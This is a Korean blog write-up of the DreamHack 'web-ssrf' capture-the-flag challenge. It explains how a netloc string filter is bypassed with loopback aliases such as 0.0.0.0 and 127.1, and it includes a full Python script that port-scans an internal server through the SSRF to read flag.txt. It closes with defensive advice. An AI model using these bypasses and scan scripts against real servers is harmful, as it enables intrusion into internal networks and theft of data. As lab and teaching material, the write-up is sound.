[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이 — ZINO
2026-06-24·1분 읽기·
[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이
이미지 뷰어가 입력한 URL을 서버가 대신 가져와 보여준다. 같은 프로세스 안에 flag.txt를 서빙하는 내부 SimpleHTTPRequestHandler가 1500~1800 중 한 포트에 떠 있다. 필터는 netloc에 `127.0.0.1`/`localhost` 문자열이 있는지만 보므로, 같은 loopback을 가리키는 `0.0.0.0`으로 우회하고 포트를 전수 스캔해 flag.txt를 읽었다.
이름 그대로 SSRF 입문 문제다. URL을 넣으면 서버가 그 주소를 대신 받아와 이미지로 보여주는 "이미지 뷰어"가 있고, 같은 서버 안 어딘가에 flag가 숨어 있다.
메인 페이지 — Image Viewer 링크
문제 개요
항목
내용
문제명
web-ssrf
난이도
🥈 Silver 2
분류
Web (SSRF)
스택
Python + Flask + requests
제공
app.py + 서버
핵심 취약점
요청 URL의 netloc 문자열만 검사하는 SSRF 필터
flag는 Flask 라우트로 노출돼 있지 않다. 대신 같은 프로세스가 별도 스레드로 http.server.SimpleHTTPRequestHandler를 띄워 작업 디렉터리를 통째로 서빙하는데, 그 디렉터리에 flag.txt가 있다.
이 내부 서버는 127.0.0.1의 무작위 포트(1500~1800)에서만 듣는다. 외부에서 직접 못 닿는다. 그래서 "서버가 대신 요청해 주는" 이미지 뷰어를 발판 삼아 내부 포트로 SSRF를 걸어야 한다. 막아 둔 필터를 우회하고, 떠 있는 포트를 찾아내는 게 전부다.
🧩 배경 — SSRF와 이 앱의 두 서버
SSRF(Server-Side Request Forgery)는 "서버가 클라이언트 대신 요청을 보내는" 기능을 악용하는 취약점이다. 이미지 프록시, 웹훅, URL 미리보기처럼 사용자가 준 주소를 서버가 직접 fetch하는 곳이면 어디든 후보가 된다.
공격자가 외부에서 못 닿는 내부망·localhost·클라우드 메타데이터(169.254.169.254) 같은 곳을, 서버의 입장에서 대신 긁어오게 만드는 게 핵심이다.
# Flask — 외부에 노출되는 8000 포트app.run(host="0.0.0.0", port=8000, threaded=True)# 내부 전용 — 127.0.0.1 의 무작위 포트(1500~1800)에서 cwd 를 서빙local_host = "127.0.0.1"local_port = random.randint(1500, 1800)local_server = http.server.HTTPServer( (local_host, local_port), http.server.SimpleHTTPRequestHandler)threading._start_new_thread(run_local_server, ())
SimpleHTTPRequestHandler는 프로세스의 작업 디렉터리를 그대로 정적 파일로 내보낸다. Dockerfile을 보면 WORKDIR /app이고 flag.txt가 그 안에 들어간다. 즉 http://127.0.0.1:<port>/flag.txt만 때리면 flag가 평문으로 나온다. 문제는 그 요청을 외부에서 직접 못 보낸다는 것뿐이다.
ADD ./deploy /appWORKDIR /app...CMD ["app.py"]
발판은 이미지 뷰어다. 노릴 곳은 내부 포트의 flag.txt다.
🔬 코드 정찰 — img_viewer 필터
요청을 대신 보내 주는 엔드포인트는 /img_viewer다. POST로 url을 받아 requests.get으로 가져온 뒤, 응답 본문을 base64로 인코딩해 <img>로 그려 준다.
@app.route("/img_viewer", methods=["GET", "POST"])def img_viewer(): if request.method == "POST": url = request.form.get("url", "") urlp = urlparse(url) if url[0] == "/": url = "http://localhost:8000" + url elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): data = open("error.png", "rb").read() img = base64.b64encode(data).decode("utf8") return render_template("img_viewer.html", img=img) try: data = requests.get(url, timeout=3).content img = base64.b64encode(data).decode("utf8") except: data = open("error.png", "rb").read() img = base64.b64encode(data).decode("utf8") return render_template("img_viewer.html", img=img)
뜯어보면 분기가 셋이다.
url이 /로 시작하면 → http://localhost:8000 을 앞에 붙인다. 즉 Flask 자기 자신(8000) 으로만 간다. 내부 서버(1500~1800)로는 못 간다.
netloc에 localhost 또는 127.0.0.1 문자열이 있으면 → error.png 반환. 차단.
그 외 → requests.get(url) 로 그대로 가져온다.
여기서 응답을 <img src="data:image/png;base64, {{ img }}"> 로 그려 준다는 점이 중요하다. 가져온 게 PNG든 텍스트든 일단 base64로 박아 돌려주므로, 우리는 base64만 디코드하면 서버가 받아온 원본 바이트를 그대로 손에 넣는다.
먼저 정상 동작을 확인했다. 기본값 /static/dream.png를 넣으면 dreamhack 로고가 그대로 뜬다 — 서버가 내 대신 요청을 보내 준다는 증거다.
기본 동작 — /static/dream.png 가 정상 표시된다
폼은 단순하다. URL 한 칸과 View 버튼.
img_viewer 폼 — url 입력 한 칸
🐛 삽질 — 막힌 두 길
내부 flag.txt를 향하는 명백해 보이는 길 둘이 먼저 막혔다.
▶🐛 삽질 1 — /flag.txt 는 Flask 8000 으로만 간다
/로 시작하는 URL을 넣으면 http://localhost:8000 이 앞에 붙는다. /flag.txt를 넣어 봤지만, 이건 내부 서버(1500~1800)가 아니라 Flask 자기 자신으로 가는 길이다. Flask엔 flag.txt 라우트가 없으니 404 HTML이 돌아온다.
base64를 디코드해 보면 이미지가 아니라 Flask 404 페이지였다.
$ url=/flag.txtTEXT 207B: '<!doctype html>\n<html lang=en>\n<title>404 Not Found</title>...'
/ 프리픽스 분기는 내부 서버로 가는 통로가 아니다. 버린다.
▶🐛 삽질 2 — 127.0.0.1 / localhost 는 통째로 차단
그럼 내부 포트를 직접 가리키면 되지 않을까 싶어 http://127.0.0.1:1571/flag.txt를 넣어 봤다. 곧장 error.png("Not Found X")가 떴다. netloc에 127.0.0.1 문자열이 있으면 무조건 차단하는 분기에 걸린 것이다. localhost도 똑같이 막힌다.
차단 직전 — 127.0.0.1 입력
차단됨 — error.png(Not Found X) 가 돌아온다
필터는 정직하게 두 문자열만 본다. 그렇다면 같은 곳을 가리키되 그 두 문자열이 안 들어가는 표기를 찾으면 된다.
💣 핵심 — 0.0.0.0 으로 같은 loopback 가리키기
필터가 검사하는 건 urlparse(url).netloc에 들어간 문자열이다. IP가 실제로 어디로 라우팅되는지는 안 본다. 그런데 127.0.0.1을 가리키는 표기는 한둘이 아니다.
표기
netloc
127.0.0.1 포함?
실제 도착지
127.0.0.1
127.0.0.1:1571
✅ → 차단
loopback
localhost
localhost:1571
✅(localhost) → 차단
loopback
0.0.0.0
0.0.0.0:1571
❌ → 통과
loopback
0
0:1571
❌ → 통과
loopback
127.1
127.1:1571
❌ → 통과
loopback
2130706433
2130706433:1571
❌ → 통과
loopback
리눅스에서 목적지 0.0.0.0으로 connect()하면 커널이 loopback(127.0.0.1)으로 보낸다. 0은 0.0.0.0으로, 127.1은 127.0.0.1로, 정수 2130706433은 0x7f000001(=127.0.0.1)로 각각 풀린다. 전부 같은 내부 서버에 닿지만 필터의 두 문자열은 안 들어간다.
이 문제의 전체 흐름을 그림으로 정리하면 이렇다.
web-ssrf 공격 흐름 — img_viewer가 0.0.0.0으로 내부 포트를 대신 긁는다
우회가 되는지부터 확인했다. http://0.0.0.0:1571/ 의 루트를 받아오니 SimpleHTTPRequestHandler의 디렉터리 목록이 그대로 돌아왔다. flag.txt가 보인다.
# peek_internal.py — 0.0.0.0 우회로 내부 서버의 디렉터리 목록을 받아본다import base64, re, requestsBASE = "http://host3.dreamhack.games:12182"r = requests.post(f"{BASE}/img_viewer", data={"url": "http://0.0.0.0:1571/"}, timeout=10)m = re.search(r"data:image/png;base64,\s*([A-Za-z0-9+/=]+)", r.text)body = base64.b64decode(m.group(1)).decode("utf-8", "replace")for name in re.findall(r'<li><a href="[^"]+">([^<]+)</a>', body): print(name)
내부 SimpleHTTPRequestHandler 의 디렉터리 목록 — flag.txt 가 보인다
내부 서버에 닿는 길은 뚫렸다. 남은 건 포트 하나다.
🎯 익스플로잇 — 포트 스캔
내부 포트는 random.randint(1500, 1800)으로 매 인스턴스마다 달라진다. 300개뿐이니 SSRF로 전수 스캔하면 된다.
판별 기준이 깔끔하다. 닫힌 포트는 서버 안에서 requests.get이 연결 거부로 실패하고, except에 걸려 error.png가 돌아온다. 열린 포트만 다른 응답(여기선 flag.txt의 평문)을 준다. 그러니 응답이 error.png와 다르면 그 포트가 열린 것이다.
먼저 차단 요청(http://127.0.0.1:1/)으로 error.png의 기준 바이트를 잡아 두고, 0.0.0.0으로 1500~1800을 훑으며 그와 다른 응답을 찾았다.
우회 payload 입력 — http://0.0.0.0:1571/flag.txt
브라우저로 직접 넣어 보면 응답은 깨진 이미지로 뜬다. 당연하다. 돌아온 건 PNG가 아니라 flag.txt의 텍스트라, data:image/png 로 박혀도 브라우저가 못 그린다. 즉 data: URI 안에 base64로 들어 있는 게 곧 flag다.
우회 성공 — PNG가 아니라 텍스트라 깨진 이미지로 뜬다(data URI 안이 flag)
화면으로는 안 보이니 base64를 디코드해 확인한다.
🚀 Full Exploit
#!/usr/bin/env python3# web-ssrf solve — SSRF로 내부 SimpleHTTPRequestHandler(127.0.0.1:1500~1800)의 flag.txt 회수# 필터 우회: netloc에 "127.0.0.1"/"localhost" 문자열이 없으면 통과 → 0.0.0.0 사용import base64, re, sysimport requestsBASE = "http://host3.dreamhack.games:12182"SESS = requests.Session()IMG_RE = re.compile(r"data:image/png;base64,\s*([A-Za-z0-9+/=]+)")def fetch(url): """img_viewer에 url을 넣고, 렌더된 img base64를 디코드한 raw bytes를 반환.""" r = SESS.post(f"{BASE}/img_viewer", data={"url": url}, timeout=10) m = IMG_RE.search(r.text) return base64.b64decode(m.group(1)) if m else None# error.png 기준값 확보 (차단/실패 시 돌려주는 이미지)ERROR_PNG = fetch("http://127.0.0.1:1/")print(f"[*] error.png baseline: {len(ERROR_PNG)} bytes, head={ERROR_PNG[:8].hex()}")# 0.0.0.0 우회로 내부 포트 스캔for port in range(1500, 1801): body = fetch(f"http://0.0.0.0:{port}/flag.txt") if body is None or body == ERROR_PNG: continue # 닫힌 포트/차단 → 동일 error.png text = body.decode("utf-8", "replace").strip() print(f"[+] OPEN port {port} → {len(body)} bytes") print(f" content: {text[:200]!r}") if "DH{" in text: flag = re.search(r"DH\{[^}]*\}", text).group(0) print(f"\n[FLAG] {flag}") sys.exit(0)print("[-] flag not found in 1500-1800 range")
내부 서버는 이 인스턴스에서 1571 포트에 떠 있었고, 그 포트의 flag.txt가 평문으로 돌아왔다.
solve.py 실행 — 포트 1571에서 flag.txt 회수
[*] error.png baseline: 47806 bytes, head=89504e470d0a1a0a[+] OPEN port 1571 → 36 bytes content: 'DH{43dd2189056475a7f3bd11456a17ad71}'[FLAG] DH{43dd2189056475a7f3bd11456a17ad71}
DH{43dd2189056475a7f3bd11456a17ad71}.
📝 결론
필터가 문자열만 보면, 같은 곳을 가리키는 다른 표기로 빠져나간다.
이 문제의 방어는 netloc에 127.0.0.1/localhost가 들어 있는지만 봤다. 하지만 같은 loopback을 가리키는 표기는 0.0.0.0, 0, 127.1, 십진수 2130706433, 8진수 0177.0.0.1, IPv6 [::1] 등 수두룩하다. 블랙리스트로는 이 변형을 다 막을 수 없다.
SSRF 방어는 "표기"가 아니라 "도착지"로 해야 한다.
URL을 받아 서버가 대신 요청해야 한다면, 문자열 패턴이 아니라 DNS 해석 후의 실제 IP를 기준으로 막아야 한다. 해석된 주소가 사설 대역(127.0.0.0/8, 10/8, 172.16/12, 192.168/16, 169.254/16, ::1 등)이면 거부한다. 리다이렉트를 따라가며 매 홉마다 다시 검사해야 하고, 가능하면 화이트리스트(허용 도메인만)로 좁히는 편이 안전하다.
내부 서비스를 같은 신뢰 경계 안에 두지 않는다.
flag를 서빙하는 SimpleHTTPRequestHandler가 외부에서 못 닿는 loopback에만 떠 있어 "안전하다"고 가정했지만, SSRF 한 방으로 그 가정이 무너졌다. 포트가 무작위였던 것도 300개 전수 스캔 앞에선 의미가 없었다. 내부망에 둔다고 안전한 게 아니다 — 그 내부망을 대신 긁어 줄 SSRF가 하나라도 있으면 그대로 노출된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…